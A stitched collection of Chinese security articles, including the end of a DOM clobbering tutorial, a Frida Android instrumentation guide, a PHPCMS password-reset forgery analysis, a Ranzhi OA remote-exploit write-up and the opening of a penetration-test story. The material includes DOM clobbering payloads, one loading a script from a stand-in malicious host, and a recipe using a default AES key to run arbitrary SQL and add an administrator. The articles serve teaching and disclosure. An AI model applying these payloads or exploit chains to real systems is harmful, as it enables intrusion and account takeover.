* someDOMElement.target
* someDOMElement.method
* someDOMElement.type
* someDOMElement.backgroundImage
* someDOMElement.cssText
* someDOMElement.codebase
* document.title
* document.implementation.createHTMLDocument()
* history.pushState()
* history.replaceState()
### 基于DOM的拒绝服务
### 什么是基于DOM的拒绝服务？
就是将用户输入以不安全的方式传入一个有可能会消耗大量计算资源的API中
### 哪些sink可以导致基于DOM的拒绝服务漏洞？
* requestFileSystem()
* RegExp()
### 如何缓解基于DOM的污点流(taint-flow)漏洞？
上面那么多种情况，总结一点，想要缓解这种漏洞只能对传递到sink的值进行严格地审查，设置白名单，然后根据上下文严格对其进行编码。没有很容易的防护手段。
### DOM clobbering
### 什么是DOM clobbering？
梨子目前还并未找到关于这个专有名词比较贴切的中文翻译。DOM
clobbering就是注入HTML利用DOM篡改页面中的JS脚本。常见做法就是通过锚点元素覆盖全局变量，当应用程序使用该变量时触发。起名clobbering意为利用DOM覆盖现有的JS脚本，有捣乱的含义。
### 如何利用DOM clobbering？
JS开发者比较常用这样的模式
`var someObject = window.someObject || {};`
如果我们可以控制HTML，则可以利用DOM节点去破坏对someObject的引用。例如
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
想要利用这段代码我们可以构造这样的payload
`<a id=someObject><a id=someObject name=url href=//malicious-website.com/evil.js>`
这条payload可以通过插入id相同的节点覆盖原有的节点，然后利用值为url的name属性破坏指向外部脚本的someObject对象的url属性。
* * *
另外一种手段就是使用form元素搭配一个如input元素去破坏DOM属性。例如破坏attributes让过滤器失去作用，这样就可以让之前无法注入的属性重新可以注入了。例如
`<form onclick=alert(1)><input id=attributes>Click me`
因为我们将id也设置为attributes，过滤器会在input属性中进入死循环，则会允许执行后面本来应被过滤的危险属性。
### 配套靶场1：利用DOM clobbering发动XSS
我们找到形如上面的一条代码
从上面得知我们可以对defaultAvatar发动DOM
clobbering，经过burp提示，cid协议没有被resources/js/domPurify-2.0.15.js过滤掉，所以可以利用cid协议绕过对双引号的转义，于是我们可以构造如下payload
这样我们就可以成功发动XSS了
### 配套靶场2：利用DOM clobbering绕过HTML过滤器
首先我们在评论区注入消除掉过滤器作用的XSS payload
然后在Eploit
Server设置一个延时的操作，为了保证能够有充足时间执行JS，延时结束后会在src后加一个锚点x，此时会访问id为x的表单，触发里面的XSS
payload
至此，成功绕过HTML过滤器发动XSS
### 如何缓解DOM clobbering攻击？
可以检查DOM
节点的attributes属性是否实际上是NamedNodeMap的实例，确保attributes是一个属性，而不是一个被clobbering的元素。而且还要避免使用全局OR逻辑运算符(||)。使用DOM审查库，如DOMPurify，进行严格的审查。
## 总结
以上就是梨子带你刷burpsuite官方网络安全学院靶场(练兵场)系列之客户端漏洞篇 –
基于DOM的漏洞专题的全部内容啦，本专题主要讲了基于DOM的漏洞形成原理，以及多种由不同source和sink导致的污点流漏洞的利用、防护，最后还介绍了高级的DOM
clobbering攻击的利用及防护，感兴趣的同学可以在评论区进行讨论，嘻嘻嘻。 | 社区文章 |
# 【技术分享】利用FRIDA攻击Android应用程序（一）
|
##### 译文声明
本文是翻译文章，文章来源：codemetrix.net
原文地址：<https://www.codemetrix.net/hacking-android-apps-with-frida-1/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
稿费：200RMB（不服你也来投稿啊！）
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**传送门**
[**【技术分享】利用FRIDA攻击Android应用程序（二）**](http://bobao.360.cn/learning/detail/3634.html)
**
**
**前言**
直到去年参加RadareCon大会时，我才开始接触动态代码插桩框架Frida。最初，我感觉这玩意还有点意思，后来发现这种感觉是不对的：应该是非常有意思。您还记得游戏中的上帝模式吗？面对本地应用程序的时候，一旦拥有了Frida，也就拥有了这种感觉。在这篇文章中，我们重点介绍Frida在Android应用方面的应用。在本文的第二篇中，我们将会介绍如何利用Frida来应付Android环境下的crackme问题。
**
**
**什么是动态代码插桩？**
动态二进制插桩（DBI）意味着将外部代码注入到现有的（正在运行的）二进制文件中，从而让它们执行以前没有做过的事情。注意，这并非漏洞利用，因为代码的注入无需借助于漏洞。同时，它不是调试，因为你不必将二进制代码附加到一个调试器上面，当然，如果你非要这么做的好也未尝不可。那么DBI可以用来做什么呢？实际上，它可以用来做许多很酷的事情：
访问进程内存
在应用程序运行时覆盖函数
从导入的类调用函数
在堆上查找对象实例并使用它们
Hook、跟踪和拦截函数等。
当然，调试器也能完成所有这些事情，但是会比较麻烦。例如。在Android平台中，应用程序必须先进行反汇编和重新编译处理，才能进行调试。一些应用程序会尝试检测并阻止调试器，这时你必须先克服这一点，才能进行调试。然而，这一切做起来都会非常麻烦。在DBI与Frida的帮助下，这些事情都不是我们要关心的，所以调试会变得更加便捷。
**
**
**FRIDA入门**
Frida“允许您在Windows、macOS、Linux、iOS、Android和QNX的本机应用程序中注入JavaScript或自己的库代码。”最开始的时候，它是基于谷歌的V8
Javascript运行时的，但是从版本9开始，Frida已经开始使用其内部的Duktape运行时了。不过，如果你需要V8的话，仍然可以切换回去。Frida可以通过多种操作模式与二进制程序进行交互（包括在非root的设备上给应用程序“插桩”），但是这里我们只介绍最简单的情形，同时也不关心其内部运行原理。
为了完成我们的实验，你需要
Frida
您可以从这里下载frida服务器的二进制代码（截止写作本文为止，最新版本为frida-server-9.1.16-android-arm.xz）
Android模拟器或已经获得root权限的设备。虽然Frida是在Android 4.4
ARM上面开发的，不过应该同样适用于更高的版本。就本文来说，使用Android 7.1
ARM完全没有一点问题。对于第二部分的crackme来说，则需要使用比Android 4.4更高的版本。
这里假设以linux系统作为主机操作系统，所以如果你使用Windows或Mac的话，有些命令可能需要进行相应的调整。
Frida的启动方式花样繁多，包括各种API和方法。您可以使用命令行界面或类似frida-trace的工具来跟踪底层函数（例如libc.so中的“open”函数），以便快速运行。同时，你还可以使用C、NodeJS或Python绑定完成更复杂的任务。但是在其内部，Frida使用Javascript的时候较多，换句话说，你可以通过这种语言完成大部分的插桩工作。所以，如果你像我一样不太喜欢Javascript的话（除了XSS功能），Frida倒是一个让你进一步了解它的理由。
首先，请安装Frida，具体如下所示（此外，您还可以通过查看README了解其他安装方式）：
pip install frida
npm install frida
启动模拟器或连接设备，确保adb正在运行并列出您的设备：
michael@sixtyseven:~$ adb devices
List of devices attached
emulator-5556device
然后，开始安装frida-server。先进行解压，并将二进制文件放入设备中：
adb push /home/michael/Downloads/frida-server-9.1.16-android-arm /data/local/tmp/frida-server
在设备上打开一个shell，切换到root用户，并启动frida：
adb shell
su
cd /data/local/tmp
chmod 755 frida-server
./frida-server
（注意事项1：如果frida-server没有启动，请检查当前是否为root用户，以及文件是否在传输过程中发生损坏。当文件传输而导致文件损坏的时候，经常会出现一些让人奇怪的错误提示。注意事项2：如果你想以后台进程的方式启动frida-server的话，则需要使用./frida-server＆）
您可以另一个终端的常规操作系统shell中检查Frida是否正在运行，并列出Android上的进程：
frida-ps -U
-U代表USB，允许Frida检查USB设备，同时还可用于仿真器。这时，您将看到一个如下所示进程列表：
michael@sixtyseven:~$ frida-ps -U
PID Name
---- -------------------------------------------------- 696 adbd
5828 android.ext.services
6188 android.process.acore
5210 audioserver
5211 cameraserver
8334 com.android.calendar
6685 com.android.chrome
6245 com.android.deskclock
5528 com.android.inputmethod.latin
6120 com.android.phone
6485 com.android.printspooler
8355 com.android.providers.calendar
5844 com.android.systemui
7944 com.google.android.apps.nexuslauncher
6416 com.google.android.gms
[...]
您将看到进程标识（PID）和正在运行的进程（名称）。现在，您可以通过Frida挂钩到任何一个进程并对其进行“篡改”了。
例如，您可以跟踪由Chrome使用的特定调用（如果还没有运行该浏览器的话，请首先在模拟器中启动它）：
frida-trace -i "open" -U com.android.chrome
输出结果如下所示：
michael@sixtyseven:~$ frida-trace -i open -U -f com.android.chrome
Instrumenting functions...
open: Loaded handler at "/home/michael/__handlers__/libc.so/open.js"
Started tracing 1 function. Press Ctrl+C to stop.
/* TID 0x2740 */
282 ms open(pathname=0xa843ffc9, flags=0x80002)
/* TID 0x2755 */
299 ms open(pathname=0xa80d0c44, flags=0x2)
/* TID 0x2756 */
309 ms open(pathname=0xa80d0c44, flags=0x2)
/* TID 0x2740 */
341 ms open(pathname=0xa80d06f7, flags=0x2)
592 ms open(pathname=0xa77dd3bc, flags=0x0)
596 ms open(pathname=0xa80d06f7, flags=0x2)
699 ms open(pathname=0xa80d105e, flags=0x80000)
717 ms open(pathname=0x9aff0d70, flags=0x42)
742 ms open(pathname=0x9ceffda0, flags=0x0)
758 ms open(pathname=0xa63b04c0, flags=0x0)
frida-trace命令会生成一个小巧的javascript文件，然后Frida会将其注入到进程中，并跟踪特定的调用。您可以观察一下在__handlers
__ /
libc.so/open.js路径下面生成的open.js脚本。它将钩住libc.so中的open函数并输出参数。使用Frida的情况下，这非常简单：
[...]
onEnter: function (log, args, state) {
log("open(" + "pathname=" + args[0] + ", flags=" + args[1] + ")");
},
[...]
请注意Frida是如何访问Chrome内部调用的open函数的调用参数（args [0]，args
[1]等）的。现在，让我们对这个脚本稍做修改。如果我们输出以纯文本形式打开的文件的路径，而不是存储这些路径的内存地址，那不是更好吗？
幸运的是，我们可以直接访问内存。为此，您可以参考Frida
API和Memory对象。我们可以修改脚本，让它将内存地址中的内容作为UTF8字符串输出，这样结果会更加一目了然。现在修改脚本，具体为：
onEnter: function (log, args, state) {
log("open(" + "pathname=" + Memory.readUtf8String(args[0])+ ", flags=" + args[1] + ")");
},
（我们只是添加了Memory.readUtf8String函数）我们会得到如下所示输出：
michael@sixtyseven:~$ frida-trace -i open -U -f com.android.chrome
Instrumenting functions...
open: Loaded handler at "/home/michael/__handlers__/libc.so/open.js"
Started tracing 1 function. Press Ctrl+C to stop.
/* TID 0x29bf */
240 ms open(pathname=/dev/binder, flags=0x80002)
/* TID 0x29d3 */
259 ms open(pathname=/dev/ashmem, flags=0x2)
/* TID 0x29d4 */
269 ms open(pathname=/dev/ashmem, flags=0x2)
/* TID 0x29bf */
291 ms open(pathname=/sys/qemu_trace/process_name, flags=0x2)
453 ms open(pathname=/dev/alarm, flags=0x0)
456 ms open(pathname=/sys/qemu_trace/process_name, flags=0x2)
562 ms open(pathname=/proc/self/cmdline, flags=0x80000)
576 ms open(pathname=/data/dalvik-cache/arm/system@app@[email protected]@classes.dex.flock, flags=0x42)
Frida打印出了路径名。这很容易，对吧？
另一个要注意的是，你可以先启动一个应用程序，然后让Frida注入它的magic，或者传递-f选项给Frida，让它创建进程。
现在，我们来考察Fridas的命令行接口frida-cli：
frida -U -f com.android.chrome
这将启动Frida和Chrome应用。但是，仍启动Chrome的主进程。这是为了让您可以在应用程序启动主进程之前注入Frida代码。不幸的是，在我实验时，它总是导致应用程序2秒后自动终止。这不是我们想要的结果。您可以利用这2秒钟时间输入％resume，并让应用程序启动其主进程；或者，直接使用–no-pause选项启动Frida，这样就不会中断应用程序了，并将生成的进程的任务留给Frida。
无论使用哪种方法，你都会得到一个shell（不会被杀死），这样就可以使用它的Javascript
API向Frida写命令了。通过TAB可以查看可用的命令。此外，这个shell还支持命令自动完成功能。
它提供了非常详尽的文档说明。对于Android，请检查JavaScript-API的Java部分（这里将讨论一个“Java
API”，虽然从技术上说应该是一个访问Java对象的Javascript包装器）。在下面，我们将重点介绍这个Java
API，因为在跟Android应用程序打交道的时候，这是一种更加方便的方法。不同于挂钩libc函数，实际上我们可以直接使用Java函数和对象。
作为使用Java API的第一步，不妨从显示Frida的命令行界面运行的Android的版本开始：
[USB::Android Emulator 5556::['com.android.chrome']]-> Java.androidVersion
"7.1.1"
或者列出加载的类（警告：这会输出大量内容，下面我会对代码进行相应的解释）：
[USB::Android Emulator 5556::['com.android.chrome']]-> Java.perform(function(){Java.enumerateLoadedClasses({"onMatch":function(className){ console.log(className) },"onComplete":function(){}})})
org.apache.http.HttpEntityEnclosingRequest
org.apache.http.ProtocolVersion
org.apache.http.HttpResponse
org.apache.http.impl.cookie.DateParseException
org.apache.http.HeaderIterator
我们在这里输入了一个比较长的命令，确切地说是一些嵌套的函数代码。首先，请注意，我们输入的代码必须包装在Java.perform（function（）{…}）中，这是Fridas的Java
API的硬性要求。
下面是我们在Java.perform包装器中插入的函数体：
Java.enumerateLoadedClasses(
{
"onMatch": function(className){
console.log(className)
},
"onComplete":function(){}
}
)
上面的代码非常简单：我们使用Fridas
API的Java.enumerateLoadedClasses枚举所有加载的类，并使用console.log将匹配的类输出到控制台。这种回调对象在Frida中是一种非常常见的模式。你可以提供一个回调对象，形式如下所示
{
"onMatch":function(arg1, ...){ ... },
"onComplete":function(){ ... },
}
当Frida找到符合要求的匹配项时，就会使用一个或多个参数来调用onMatch；当Frida完成匹配工作时，就会调用onComplete。
现在，让我们进一步学习Frida的magic，并通过Frida覆盖一个函数。此外，我们还将介绍如何从外部脚本加载代码，而不是将代码键入cli，因为这种方式更方便。首先，将下面的代码保存到一个脚本文件中，例如chrome.js：
Java.perform(function () {
var Activity = Java.use("android.app.Activity");
Activity.onResume.implementation = function () {
console.log("[*] onResume() got called!");
this.onResume();
};
});
上面的代码将会覆盖android.app.Activity类的onResume函数。它会调用Java.use来接收这个类的包装对象，并访问其onResume函数的implementation属性，以提供一个新的实现。在新的函数体中，它将通过this.onResume()调用原始的onResume实现，所以应用程序依然可以继续正常运行。
打开您的模拟器和Chrome，然后通过-l选项来注入这个脚本：
frida -U -l chrome.js com.android.chrome
一旦触发了onResume——例如切换到另一个应用程序并返回到模拟器中的Chrome——您将收到下列输出：
[*] onResume() got called!
很好，不是吗？我们实际上覆盖了应用程序中的一个函数。这就给控制目标应用程序的行为提供了可能性。但是，实际上我们可以继续发挥：还能够利用Javaschoose查找堆中已经实例化的对象。
需要注意的是，当你的模拟速度较慢的时候，Frida经常会超时。为了防止这种情况，请将脚本封装到函数setImmediate中，或将它们导出为rpc。RPC在Frida默认情况下不超时（感谢@oleavr给予的提示）。在修改脚本文件后，setImmediate将自动重新运行你的脚本，所以这是相当方便的。同时，它还在后台运行您的脚本。这意味着你会立刻得到一个cli，即使Frida仍然在忙着处理你的脚本。请继续等待，不要离开cli，直到Frida显示脚本的输出为止。然后，再次修改chrome.js：
setImmediate(function() {
console.log("[*] Starting script");
Java.perform(function () {
Java.choose("android.view.View", {
"onMatch":function(instance){
console.log("[*] Instance found");
},
"onComplete":function() {
console.log("[*] Finished heap search")
}
});
});
});
运行frida -U -l chrome.js com.android.chrome，这时应该会产生以下输出：
[*] Starting script
[*] Instance found
[*] Instance found
[*] Instance found
[*] Instance found
[*] Finished heap search
我们在堆上找到了4个android.view.View对象的实例。让我们看看能用这些搞点什么事情。首先，我们可以调用这些实例的对象方法。这里，我们只是为console.log输出添加instance.toString（）。由于我们使用了setImmediate，所以现在只需修改我们的脚本，然后Frida会自动重新加载它：
setImmediate(function() {
console.log("[*] Starting script");
Java.perform(function () {
Java.choose("android.view.View", {
"onMatch":function(instance){
console.log("[*] Instance found: " + instance.toString());
},
"onComplete":function() {
console.log("[*] Finished heap search")
}
});
});
});
返回的结果为：
[*] Starting script
[*] Instance found: android.view.View{7ccea78 G.ED..... ......ID 0,0-0,0 #7f0c01fc app:id/action_bar_black_background}
[*] Instance found: android.view.View{2809551 V.ED..... ........ 0,1731-0,1731 #7f0c01ff app:id/menu_anchor_stub}
[*] Instance found: android.view.View{be471b6 G.ED..... ......I. 0,0-0,0 #7f0c01f5 app:id/location_bar_verbose_status_separator}
[*] Instance found: android.view.View{3ae0eb7 V.ED..... ........ 0,0-1080,63 #102002f android:id/statusBarBackground}
[*] Finished heap search
Frida实际上为我们调用了android.view.View对象实例的toString方法。酷毙了！所以，在Frida的帮助下，我们可以读取进程内存、修改函数、查找实际的对象实例，并且所有这些只需寥寥几行代码就可以搞定。
现在，我们已经对Frida有了一个基本的了解，如果想要进一步深入了解它的话，可以自学其文档和API。为了使得这篇文章更加全面，本文还将介绍两个主题，即Frida的绑定和r2frida。但是在此之前，需要首先指出一些注意事项。
**注意事项**
当使用Frida时，经常会出现一些不稳定的情形。首先，将外部代码注入另一个进程容易导致崩溃，毕竟应用程序是以其非预期的方式被触发，来执行某些额外的功能的。第二，Frida本身貌似仍然处于实验阶段。它的确非常有用，但是许多时候我们必须尝试各种方式才能获得所需的结果。例如，当我尝试从命令行加载脚本然后生成一个命令的进程时，Frida总是崩溃。所以，我不得不先生成进程，然后让Frida注入脚本。这就是为什么我展示Frida的使用和防止超时的各种方法的原因。当然，许多时候您要根据自己的具体情况来找出最有效的方法。
**Python绑定**
若想利用Frida进一步提升自己工作的自动化程度的话，你应该学习应用性更高的Python、C或NodeJS绑定，当然，前提是你已经熟悉了Frida的工作原理。例如，要从Python注入chrome.js脚本的话，可以使用Frida的Python绑定。首先，创建一个chrome.py脚本：
#!/usr/bin/python
import frida
# put your javascript-code here
jscode= """
console.log("[*] Starting script");
Java.perform(function() {
var Activity = Java.use("android.app.Activity");
Activity.onResume.implementation = function () {
console.log("[*] onResume() got called!");
this.onResume();
};
});
"""
# startup frida and attach to com.android.chrome process on a usb device
session = frida.get_usb_device().attach("com.android.chrome")
# create a script for frida of jsccode
script = process.create_script(jscode)
# and load the script
script.load()
更多的例子，请参考Frida的文档。
**Frida和Radare2：r2frida**
如果我们还可以使用类似Radare2之类的反汇编框架来检查应用程序的内存的话，那不是更好吗？别急，我们有r2frida。您可以使用r2frida将Radare2连接到Frida，然后对进程的内存进行静态分析和反汇编处理。不过，我们这里不会对r2frida进行详细的介绍，因为我们假设您已经了解了Radare2的相关知识（如果您对它还比较陌生的话，建议您抽时间学习一下，我认为这是非常值得的）。无论如何，您都没有必要过于担心，因为这个软件的用法非常容易上手，看看下面的例子您就知道此言不虚。
您可以使用Radare2的数据包管理程序来安装r2frida（假设您已经安装了Radare2）：
r2pm install r2frida
回到我们的frida-trace示例，删除或重命名我们修改的脚本，让frida-trace再次生成默认的脚本，并重新查看日志：
michael@sixtyseven:~$ frida-trace -i open -U -f com.android.chrome
Instrumenting functions...
open: Loaded handler at "/home/michael/__handlers__/libc.so/open.js"
Started tracing 1 function. Press Ctrl+C to stop.
/* TID 0x2740 */
282 ms open(pathname=0xa843ffc9, flags=0x80002)
/* TID 0x2755 */
[...]
使用r2frida的话，您可以轻松地检查所显示的内存地址的内容并读取路径名（在本例中为/ dev / binder）：
root@sixtyseven:~# r2 frida://emulator-5556/com.android.chrome
-- Enhance your graphs by increasing the size of the block and graph.depth eval variable.
[0x00000000]> s 0xa843ffc9
[0xa843ffc9]> px
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xa843ffc9 2f64 6576 2f62 696e 6465 7200 4269 6e64 /dev/binder.Bind
0xa843ffd9 6572 2069 6f63 746c 2074 6f20 6f62 7461 er ioctl to obta
0xa843ffe9 696e 2076 6572 7369 6f6e 2066 6169 6c65 in version faile
0xa843fff9 643a 2025 7300 4269 6e64 6572 2064 7269 d: %s.Binder dri
[...]
访问进程以及让r2frida执行注入操作的语法如下所示：
r2 frida://DEVICE-ID/PROCESS
下面展示以=！为前缀的情况下，有哪些可用的r2frida命令，其中，您可以快速搜索内存区域中特定的内容或对任意内存地址执行写入操作：
[0x00000000]> =!?
r2frida commands available via =!
? Show this help
?V Show target Frida version
/[x][j] <string|hexpairs> Search hex/string pattern in memory ranges (see search.in=?)
/w[j] string Search wide string
[...]
**小结**
在这篇文章中，我们重点介绍Frida在Android应用方面的应用。在本教程的第二篇中，我们将介绍如何通过Frida轻松搞定crackme。
**传送门**
* * *
[**【技术分享】利用FRIDA攻击Android应用程序（二）**](http://bobao.360.cn/learning/detail/3634.html) | 社区文章 |
国内大部分带登录注册功能的PHPCMS模板都有邮箱找回密码功能，前几天我从先知的厂商类型分类中选择一个流行厂商和一般厂商来观察它们各自的实现过程，发现
**只要存在一个任意读漏洞** ，都有可能利用邮箱密码找回过程重置任意用户的密码。废话不多说，先上代码。
### 一 漏洞分析
#### 0X01 一般厂商
它比较典型,XXCMS_Home_Setup_v4.2.26涉及到密码重置的方法有两个，分别是位于`/upload/Application/Home/Controller/MembersController.class.php`里的`MembersController::user_getpass`和`MembersController::user_setpass`。
`user_getpass`方法中负责生成重置密码链接的相关代码如下
密码重置链接中的关键参数key即`$str`通过下列方式得出
$str = encrypt(http_build_query(array('e'=>$email,'k'=>$key,'t'=>$time)),C('PWDHASH'));
`encrypt`方法是XXCMS本身的加密函数，`'e'=>$email`是我们在重置密码表单中提交的帐号邮箱，可控。`'k'=>$key`是由上一步对输入邮箱和当前时间`md5`后取第`8`位开始的16位字符串，邮箱是可控，代码执行时间不可控。`C('PWDHASH')`是从配置文件`/upload/Application/Common/Conf/pwdhash.php`取一个作用类似盐的字符串，这个文件在我本地测试环境中内容如下
在你安装XXCMS完成之前`PWDHASH`后面的字符串是空的，它是在安装过程中生成的一个随机字符串，之后不再变化。这个文件引出了本文的目的，如果有一个任意读漏洞，能够读取这个字符串，结合之前密码找回链接中的参数，除了时间不可控，我们是否可以自己构造密码重置链接？而且，时间一般是用来验证密码重置链接的有效期，所以这个变量理论上本身就可控。
来验证一下上面的猜想，再看`user_setpass`方法中负责校的相关代码
首先从`_GET参数中获取key`参数，解密，结果放入`$data`中
parse_str(decrypt(I('get.key','','trim'),C('PWDHASH')),$data);
解密时仍然把`C('PWDHASH')`作为参数传入，`decrypt`方法是和`encrypt`方法对应的解密方法。后面三行的代码，首先校验解密出的结果是否包含关键字`email`，然后校验解密出来的时间加上24小时是否小于当前时间，即重置密码链接的有效期。到此我们就可以判断出，如果能通过任意读漏洞获取`PWDHASH`内容，我们只要在程序执行完`user_getpass`之后的24小时内，就可以自己构造能通过后台校验的重置密码链接，任意重置任意邮箱绑定的帐号。
### 二 POC
测试数据
用户名：test123
邮箱：[email protected]
密码：111111
测试数据
用户名：test123
邮箱：[email protected]
密码：111111
后台开启smtp，否则无法使用密码找回功能，添加完后可测试是否成功
此外，由于cms本身没有打开注册后验证邮箱功能，在此手动打开
改为1
在`/upload/Application/Home/Controller/`目录下放入`TestController.class.php`，内容如下：
说明一下，这里为了方便直接放在XXCMS目录下，也可以把里面用到的`encrypt`函数以及其他需要的库函数拿出来单独写一个php。`C('PWDHASH')`是从配置文件中取`PWDHASH`，位置在`/upload/Application/Common/Conf/pwdhash.php`，`C`函数的功能是读写配置，`U`函数的功能是生成链接，实际上就是一个字符串拼接的过程。
准备工作到此结束
下面开始验证，首先选择登录页面的“找回密码”，[输入测试帐号[email protected]](mailto:输入测试帐号[email protected])
`user_getpass`函数执行完毕。
打开我们准备的代码生成重置密码链接
在浏览器中打开该链接
出现修改密码密码的页面！
比如我们输入新密码222222
可以在数据库中看到密码hash值已经发生变化
#### 0X02 流行厂商
最后再说说某CMS的密码找回过程。CMS存在同样的问题，但是没那么好利用。
它的邮箱找回密码链接中的关键参数`code`
可以看到这个里面没像XXCMS一样用提交邮箱来作为加密因子，刚看到这时我还在心里默默给CMS点了个赞，毕竟`userid`是数据库中的内容，没有其他漏洞攻击者是不可能知道的。然鹅。。。
解密里居然只用`is_numeric`判断`userid`是否为数字，所以和上面XXCMS一样的原理，不过用起来可能存在一个问题，你用A账号的邮箱去申请重置，但是你自己生成密码找回链接时不知道A账号的`userid`只能随便选一个正整数X（可能是B账号的userid），然后你用生成的链接放到浏览器中就可以重置B账号的密码，想想过程都觉得好蠢，就不贴POC了。 | 社区文章 |
作者：niexinming @ n0tr00t security team
来源：<http://www.n0tr00t.com>
#### 关于漏洞
这个漏洞比较有趣，写出来给大家分享一下
这个漏洞影响的版本有ranzhi协同oa<=4.6.1(包含专业版)还有喧喧及时聊天系统<=1.3
出问题的地方是喧喧聊天系统，由于然之开源版和专业版自4.0之后都自带这个聊天系统，所以都会被影响
从官网下周然之4.6.1之后首先看`ranzhi\www\xuanxuan.php`,这个文件是喧喧的入口，加载的模块在`ranzhi\framework\xuanxuan.class.php`，由于聊天信息是用aes加密过的，初始的密钥是`88888888888888888888888888888888`，我相信没有几个人会去改的吧，所以漏洞一开始就已经埋下来了
再往下看，看到118行的parseRequest这个函数，看看这个系统是怎么处理传递进来的参数的
public function parseRequest()
{
$input = file_get_contents("php://input");
$input = $this->decrypt($input);
$userID = !empty($input->userID) ? $input->userID : '';
$module = !empty($input->module) ? $input->module : '';
$method = !empty($input->method) ? $input->method : '';
$params = !empty($input->params) ? $input->params : array();
if(!$module or !$method or $module != 'chat')
{
$data = new stdclass();
$data->module = 'chat';
$data->method = 'kickoff';
$data->data = 'Illegal Requset.';
die($this->encrypt($data));
}
if($module == 'chat' && $method == 'login' && is_array($params))
{
/* params[0] is the server name. */
unset($params[0]);
}
if($userID && is_array($params))
{
$params[] = $userID;
}
$this->setModuleName($module);
$this->setMethodName($method);
$this->setParams($params);
$this->setControlFile();
}
首先，从原始post数据获取数据，解密，获取userID，module，method，params这几个参数，其中userID的用户id，module是调用模块，method是调用的方法，params是传递的参数，这里有一个限制，模块只能加载chat里面的，也就是只能加载和调用`ranzhi\app\sys\chat\control.php`这里面的函数，由于调用的函数名可以控制，其实可以调用继承的父类种函数，对，这个漏洞最关键一点是可以调用父类函数，看一下，这个chat类继承于control
class chat extends control
control类在`ranzhi\framework\control.class.php`，可以看到这个类里面只有一个函数就是fetch函数，但是这个类又继承了baseControl这个类，但是已经不重要了，用这个函数就可以了
这个函数在前面检查模块是否存在之后就把参数放入`call_user_func_array`中了
public function fetch($moduleName = '', $methodName = '', $params = array(), $appName = '')
{
if($moduleName == '') $moduleName = $this->moduleName;
if($methodName == '') $methodName = $this->methodName;
if($appName == '') $appName = $this->appName;
if($moduleName == $this->moduleName and $methodName == $this->methodName)
{
$this->parse($moduleName, $methodName);
return $this->output;
}
$currentPWD = getcwd();
/**
* 设置引用的文件和路径。
* Set the pathes and files to included.
**/
$modulePath = $this->app->getModulePath($appName, $moduleName);
$moduleControlFile = $modulePath . 'control.php';
$actionExtPath = $this->app->getModuleExtPath($appName, $moduleName, 'control');
$file2Included = $moduleControlFile;
if(!empty($actionExtPath))
{
$commonActionExtFile = $actionExtPath['common'] . strtolower($methodName) . '.php';
$file2Included = file_exists($commonActionExtFile) ? $commonActionExtFile : $moduleControlFile;
if(!empty($actionExtPath['site']))
{
$siteActionExtFile = $actionExtPath['site'] . strtolower($methodName) . '.php';
$file2Included = file_exists($siteActionExtFile) ? $siteActionExtFile : $file2Included;
}
}
/**
* 加载控制器文件。
* Load the control file.
*/
if(!is_file($file2Included)) $this->app->triggerError("The control file $file2Included not found", __FILE__, __LINE__, $exit = true);
chdir(dirname($file2Included));
if($moduleName != $this->moduleName) helper::import($file2Included);
/**
* 设置调用的类名。
* Set the name of the class to be called.
*/
$className = class_exists("my$moduleName") ? "my$moduleName" : $moduleName;
if(!class_exists($className)) $this->app->triggerError(" The class $className not found", __FILE__, __LINE__, $exit = true);
/**
* 解析参数，创建模块control对象。
* Parse the params, create the $module control object.
*/
if(!is_array($params)) parse_str($params, $params);
$module = new $className($moduleName, $methodName, $appName);
/**
* 调用对应方法，使用ob方法获取输出内容。
* Call the method and use ob function to get the output.
*/
ob_start();
call_user_func_array(array($module, $methodName), $params);
$output = ob_get_contents();
ob_end_clean();
/**
* 返回内容。
* Return the content.
*/
unset($module);
chdir($currentPWD);
return $output;
}
}
`call_user_func_array(array($module, $methodName),
$params);`这个函数的调用相当于`$module::$methodName($params)`,$methodName只能是public类型才可以，可以利用`call_user_func_array`调用php的任意内置类的public函数，也可以调用include的任意类，所以我在不断尝试之后，最终选择调用baseDAO类的query函数去操纵数据库，添加一个管理员账号，因为然之后台可以查看网站的绝对地址：
数据库密码：
执行任意命令：
#### 关于poc的构造：
【1】首先是exp函数，因为数据传输是依靠aes加密传输的，而初始化的aes密钥是`88888888888888888888888888888888`，所以把exp的json数据加密post给服务器端就好
而exp函数中的这个data就是整个exp的关键部分
data = '{"userID": "123","module": "chat","method": "fetch","params": {"0":"baseDAO","1":"query","2":"'+sql+'","3":"sys"}}'
【2】module是调用的模块名字，因为受到限制，所以只能调用chat模块，而method是调用的方法名字，因为这个没有限制，所以就可以调用父类的函数fetch，传递进去的params又可以继续调用其它模块的其他函数，但是只能调用php中内置类的public函数，和include中的public函数，所以公共模块是一个很好的利用点，而公共模块中的数据库操作函数最好下手，所以就调用baseDAO中query这个函数，往里面传递sql语句就可以控制数据库了
【3】在数据库中插入一个管理员的账号之后就可以登陆后台为所欲为了
然之登陆有点意思登陆函数是Login_ranzhi，ranzhi登陆前要先发get请求给登陆页面，让cookie获取rid和页面中获取v.random。在登陆时要向登陆页面发送账号：account，密码：
password，密码是由MD5(MD5(MD5(明文密码)+账号)+v.random)生成，原始密码：rawPassword，由MD5(明文密码)生成，keepLogin：false
【4】登陆后就可以在后台获得网站绝对路径和数据库帐户名和密码，也可以利用后台执行任意命令
【5】因为然之演示站限制了很多函数的执行，所以利用exp添加管理员是可以做到的，后面执行系统命令被限制就无法去实现
#### 漏洞披露
1. 2018-01-08 给cnnvd提交漏洞
2. 2018-01-09 给360补天提交漏洞
3. 2018-01-11 cnnvd回复邮件确定漏洞真实存在
4. 2018-01-12 360补天定为通用型漏洞
5. 2018-2-24 提醒厂商修复漏洞，但是厂商开发人员认为影响不大，直到现在厂商未修复此漏洞
#### 临时防护建议：
在然之后台进入-》后台管理-》喧喧，把密钥改成任意值
* * * | 社区文章 |
**0x00** **前言**
分享一个简单的项目，小有坎坷但仍旧几乎畅通无阻的最终拿下root权限。
先说重要的事情：如有 **漏码少码** 导致能定位目标请各位师傅手下留情。
**0x01** **信息收集**
过程略，收集到目标的主站、邮服、dns服务器，之后选择从主站入手。
**0x02** **漏洞挖掘**
先在域名后随手加一个 **admin** 找到后台。
回到前台，随意点点，发现可疑参数 **id**
